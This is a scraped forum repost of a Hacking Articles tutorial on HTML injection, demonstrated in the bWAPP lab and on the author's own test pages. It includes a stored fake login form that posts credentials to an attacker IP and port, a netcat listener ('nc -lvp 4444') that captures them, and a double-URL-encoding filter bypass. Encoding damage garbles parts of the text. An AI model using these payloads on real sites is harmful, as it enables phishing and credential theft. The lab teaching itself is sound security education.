val77310
Codebase Quality Auditor
2
MONTHS
2 2 MONTHS OF SERVICE
LEVEL 1
500 XP
âHTMLâ
So have you ever wondered, if this anatomy got ruined up with some simple scripts? Or this structure itself becomes responsible for the defacements of the web-applications? Today, in this article, weâll learn how such misconfigured HTML codes, open the gates for the attackers to manipulate the designed webpages and grabs up the sensitive data from the users.is considered as the skeleton for every web-application, as it defines up the structure and the complete posture of the hosted content.
Table of Content
- What is HTML?
- Introduction to HTML Injection
- Impact of HTML Injection
- HTML Injection v/s XSS
- Types of Injection
- Stored HTML
- Reflected HTML
- Reflected GET
- Reflected POST
- Reflected current URL
- Mitigation Steps
What is HTML?
HTML is an abbreviation to âHyperText Markup Langaugeâ, is the basic building block of the web, which determine the formation of the web pages over a web-application. HTML is used to design websites that consist the âHyperTextâ in order to include âtext inside a textâ as a hyperlink and a combination of elements that wrap up the data items to display in the browser.
So what these elements are?
âAn element is everything to an HTML page i.e. it contains the opening and closing tag with the text content in between.â

HTML Tag
An HTML tag label pieces of content, such as âheadingâ, âparagraphâ, âformâ, and so on. They are the element names surrounded by angle brackets and are of two types â the âstart tagâ also known as opening tag and the âend tagâ referred to as the closing one. Browsers do not display these HTML tags but utilize them to grab up the content of the webpage.
HTML Attributes
In order to provide some extra information to the elements, we use
they reside inside theattributes,
and comes in âname/valueâ pairs, such that the attribute name follows up with an âequal-to signâ and the attribute value is enclosed with the âquotation marksâ.start tag
Code:
Hacking Articles
Here the
is the âattribute nameâ and ââhrefâ
is the âattribute valueâ.LoadingâŚ
xn--hackingarticles-dz9h
As weâre now aware of the basic HTML terminologies, letâs check out the âHTML elements flowchartâ and then will further try to implement them all to create up a simple web page.

Basic HTML Page:
Every web page over the internet is somewhere or the other an HTML file. These files are nothing but are the simple plain-text files with a â
â extension, that are saved and executed over a web browser..html
So letâs try to create a simple web page in our notepad and save it as hack.html:
Code:
<html>
<head>
<title> Hacking Articles lab</title>
</head>
[center]
WELCOME TO HACKING ARTILCES
Author âRaj Chandelâ
[/center]
</html>
Letâs execute this âhack.htmlâ file in our browser and see what we have developed.

Great!! Weâve successfully designed our first web-page. But how these tags worked for us, letâs check them out:
- The <html>element is the root element of every HTML page.
- The <head>determines the meta-information about the document.
- The <title>element specifies a title for the webpage.
- The element contains the visible page content that has the
âbgcolorâ
âpinkâ
- The element defines break line or it defines up the next line.
- The
element defines a large heading. - The element defines a paragraph
- The defines up the anchor tag which helps us to set up the
âhyperlinkâ
<p>I guess you are now clear with âwhat HTML is and its major useâ and âhow can we implement this allâ. So letâs try to find out the major loopholes and learn how the attackers inject arbitrary HTML codes into vulnerable web pages in order to modify the hosted content.
Introduction to HTML Injection
HTML Injection also termed as
is one of the most simple and the most common vulnerability that arises when the web-page fails to sanitize the user-supplied input or validates the output, which thus allows the attacker to craft his payloads and injects the malicious HTML codes into the application through the vulnerable fields, such that he can modify the webpage content and even grabs up some sensitive data.âvirtual defacementsâ
Letâs take a look over this scenario and lean how such HTML Injection attacks are executed:
Consider a web-application which is suffering from HTML Injection vulnerability and it does not validate any specific input. Thus the attacker finds this and he injects his malicious âHTML login Formâ with a lure of âFree Movie ticketsâ to trick the victim into submitting his sensitive credentials.
Now as the victims surf that particular webpage, there he found the option to avail those âfree movie ticketsâ. As he clicks over it, he got presented back with the applicationâs login screen, which is nothing but the attackerâs crafted âHTML formâ. Therefore as soon as he enters his credentials, the attackerâs captures them all through his listener machine, leading the victim to compromise his data.

Impact of HTML Injection
When the input fields are not properly sanitized over in a webpage, thus sometimes this HTML Injection vulnerability might lead us to Cross-Site Scripting(XSS) or Server-Side Request Forgery(SSRF) attacks. Therefore this vulnerability has been reported with Severity Level as âMediumâ and with the âCVSS Score of 5.3â under :
- CWE-80: Improper Neutralization of Script-Related HTML Tags in a Web Page.
- CWE-79: Improper Neutralization of Input During Web Page Generation.
HTML Injection v/s XSS
During such attacks, there are chances when we exempt to perform an HTML Injection attack and we fall up with the XSS one because HTML injection is almost similar to Cross-site Scripting. But if we look closer between the two, weâll notice that during an XSS attack, the attacker have an opportunity to inject and execute the Javascript codes whereas in the HTML Injection he/she is bound to use certain HTML tags in order to deface the webpage.
Letâs now dive in further with the different HTML Injection attacks and check out the unusual ways how we can deface the webpages and captures up the victimâs credentials.
Stored HTML
A âstored HTMLâ also termed as â
because through this vulnerability the injected malicious script gets permanently store inside the web-applications server and the application server further drops it out back to the user when he visits the injected webpage. However, when the client clicks on payload whichPersistenceâ
, thus the injected HTML code will get executed by the browser.appears as an official part of the website
The most common example of Stored HTML is the
in the blogs, which allow any user to enter his feedback as in the form of comments for the administrator or other users.âcomment optionâ
Letâs now try to exploit this stored HTML vulnerability and grab up some credentials.
Exploiting Stored HTML
Iâve opened the target IP in my browser and login inside BWAPP as a bee: bug, further Iâve set the âChoose Your Bugâ option to â
and had fired up the hack button.HTML Injection â Stored (Blog)â
Now, weâll be redirected to the web page which is suffering from an HTML Injection vulnerability which allows the user to submit his entry in the blog as shown in the screenshot.
Initially, we will generate a normal user entry through âbeeâ as âHacking Articlesâ, in order to confirm that the input data has successfully stored up in the webserverâs database, which is thus visible in the âEntry fieldâ.

Now, letâs try to inject our malicious payload that will
create
over this targeted web page and thus it will forward the captured request over to our IP.up a fake user login form
Enter the following HTML code inside the given text area in order to set up the HTML attack.
Code:
Please login with valid
credenitals:
<form name="login" action="http://192.168.0.7:4444/login.htm">
Username:
Password:
</form>

From the below image you can see that, as I clicked over the âSubmitâ button, a new login form has been displayed over on the webpage. This login form is thus now into the applicationâs web server, which gets rendered every time whenever the victim visits this malicious login page, heâll always have this form which looks official to him.

So letâs now enable our netcat listener at port 4444 in order to capture up the victimâs request.
Code:
nc âlvp 4444
Though its time to wait, until the victim boots this page up into his browser, and enters his credentials.

Great!! From the above image, you can see that the user âRajâ opened the webpage and tried to login inside as raj:123.
So letâs get back to our listener and check whether the credentials are captured in the response or not.
From the below image, you can see that weâve successfully grabbed up the credentials.

Reflected HTML
The reflected HTML also known as
is occurred when the web application responds immediately on userâs input without validating what the user entered, this can lead an attacker to inject browser executable code inside the single HTML response. It is termed ânon-persistentâ as the malicious script does not get stored inside the webserver, thus the attacker needs to send the malicious link through phishing to trap the user.Non-Persistenceâ
Reflected HTML vulnerability can be easily found in websiteâs search engines: here the attacker writes up some arbitrary HTML code in the search textbox and, if the website is vulnerable
, the result page will return as in response to these HTML entities.
Reflect HTML is basically of three types:
- Reflected HTML GET
- Reflected HTML POST
- Reflected HTML Current URL
Before making our hands wet by exploiting the Reflected HTML labs, let us recall that â with the GET method, we request data from a specific source whereas the POST method is used to send data to a server in order to create/update a resource.
Reflected HTML GET
Here, weâve created a webpage, which thus permits up the user to submit a âfeedbackâ with his ânameâ.
So, when the user âRaj Chandelâ submits his feedback as âGoodâ, a message prompts back as
âThanks to Raj Chandel for your valuable time.â

Thus this instant response and the
pairs in the URL shows up that, this page might be vulnerable to HTML Injection and the data has been requested over the GET method.âname/valueâ
So, letâs now try to inject some HTML codes into this âformâ in order to be confirmed up with it. Type following script at the âNameâ field as
Code:
<h1>Raj Chandel
And set Feedback to âGoodâ
From the below image you can see that the userâs name âRaj Chandelâ has been modified as the heading as in the response message.

Wonder why this all happened, letâs check out the following code snippet.

With the ease to reflect the message on the screen, the developer didnât set up any input validation i.e. he simply âechoâ the
by including up the input name through the â$_GETâ variable.âThanks messageâ
âThere are times when the developer sets up some validations into the input fields which thus refects our HTML code back onto the screen without getting rendered.â
From the below image you can see that when I tried to execute the HTML code in the name field, it drops it back as the plain-text as:

So is the vulnerability is patched up here?
Letâs check this all out by capturing its outgoing Request with our helping hand âburpsuiteâ and will further send the captured request directly to the âRepeaterâ tab.

In the âRepeaterâ tab, as I clicked over the âGoâ button to check for the generated response, I found that my HTML entities have been HTML decoded here as:

Thus I coped the complete HTML code
and pasted that all into the Decoder tab. Further from the right-hand pallet, I clicked over at âEncode asâ and opted for the URL one.â
Raj
â
As we get the encoded output, weâll again set it over in the âEncode asâ for the URL to get it as in the double URL encoded format.

Letâs now try this out,
copy the complete double encoded URL and paste it over in the âname=â field within the repeater tab in the Request option.
Click on the Go button to check for its generated Response.
Great!! From the below image, you can see that weâve successfully manipulated the Response.

Now just do the similar amendments into the Proxy tab and hit the âForwardâ button. From the below image you can see that, we âve defaced this web page too through its validated fields.

Letâs check out the code snippet to see where the developer had made input validation:
From the below image you can see that, here the developer had made a function as âhackâ for the variable data and even he had decoded the â<â and â>â to â<â and â>â for $data and $input respectively, further he used the inbuilt PHP function urldecode over for $input to decode up the URL.

From the below image you can see that the developer implemented the function hack over at the name field.

Reflected HTML POST
Similar to the âGET webpageâ, the âNameâ and the âFeedbackâ fields are vulnerable here too, since the POST method has been implemented, thus the form data wonât be displayed in the URL.
Letâs try to deface this webpage again but this time weâll add up an image rather than a static text as
Code:
<img src= "https://www.ignitetechnologies.in/img/logo-blue-white.png">
From the below image, you can see that the âIgnite technologies logoâ has been placed up over the screen, thus the attacker here can even inject other media formats such as videos, audios or the gifs.

Reflected HTML Current URL
Can a web-application be vulnerable to HTML Injection with no input fields over on the web page?
Yes, itâs not necessary to have an input filed like a comment box or search box,
and they might be vulnerable to HTML Injection, as in such cases, the URL acts as the input field to it.some applications display your URL over on their webpages

From the above image, you can see that the current URL is being displayed over on the web-page as â
â. So letâs take over to this advantage and see what we can grab.LoadingâŚ
192.168.0.16
Tune in your âburpsuiteâ and capture the ongoing HTTP Request

Now letâs manipulate this request with :
Code:
/hack/html_URL.php/
Hey_are_you_there?
Click on the Forward button to check the result over on the browser.

Great!! From the below image you can see that we have successfully defaced the website by simply injecting our desired HTML code into the web applicationâs URL.

Letâs have a look over its code and see how the developer managed to get the current URL over on the screen
Here the developer used the PHP global variable as $_SERVER in order to capture up the current page URL. Further, he amended the hostname with âHTTP_HOSTâ and the requested resource location to the URL with âREQUEST_URIâ and placed it all in the $url variable.

Coming to the HTML section he simply set echo with the $url variable without any specific validation, in order to display the message with the URL.

Mitigation Steps
- The developer should set up his HTML script which filters the metacharacters from user inputs.
- The developer should implement functions to validate the user inputs such that they do not contain any specific tag that can lead to virtual defacements.
Source:
https://www.w3schools.com/
https://www.javatpoint.com/
Author: Geet Madan is a Certified Ethical Hacker, Researcher and Technical Writer at Hacking Articles on Information Security. Contact here